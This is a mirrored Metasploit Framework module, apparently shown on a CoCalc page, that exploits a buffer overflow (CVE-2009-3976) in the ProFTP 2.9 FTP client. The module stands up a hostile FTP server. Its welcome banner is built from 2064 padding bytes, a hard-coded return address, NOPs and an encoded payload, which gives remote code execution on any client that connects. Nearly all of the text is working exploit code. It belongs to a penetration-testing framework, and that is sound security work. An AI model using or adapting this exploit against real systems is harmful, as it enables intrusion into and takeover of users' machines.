Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/proftp_banner.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::TcpServer
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'ProFTP 2.9 Banner Remote Buffer Overflow',
16
'Description' => %q{
17
This module exploits a buffer overflow in the ProFTP 2.9
18
client that is triggered through an excessively long welcome message.
19
},
20
'Author' => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
21
'License' => MSF_LICENSE,
22
'References' => [
23
[ 'CVE', '2009-3976' ],
24
[ 'OSVDB', '57394' ],
25
[ 'URL', 'http://www.labtam-inc.com/index.php?act=products&pid=1' ],
26
],
27
'DefaultOptions' => {
28
'EXITFUNC' => 'seh',
29
},
30
'Payload' => {
31
'Space' => 1000,
32
'BadChars' => "\x00\x0a\x0d\x20",
33
'StackAdjustment' => -3500,
34
},
35
'Platform' => 'win',
36
'Targets' => [
37
# Tested against - XP SP3 English OK.
38
[ 'Universal', { 'Ret' => 0x6809d408 } ], # WCMDPA10 (part of ProFTP)
39
],
40
'Privileged' => false,
41
'DefaultTarget' => 0,
42
'DisclosureDate' => '2009-08-25',
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
51
register_options(
52
[
53
OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
54
]
55
)
56
end
57
58
def on_client_connect(client)
59
return if ((p = regenerate_payload(client)) == nil)
60
61
buffer = "220 "
62
buffer << rand_text_numeric(2064)
63
buffer << [target.ret].pack('V')
64
buffer << make_nops(20)
65
buffer << payload.encoded
66
buffer << "\r\n"
67
client.put(buffer)
68
end
69
end
70
71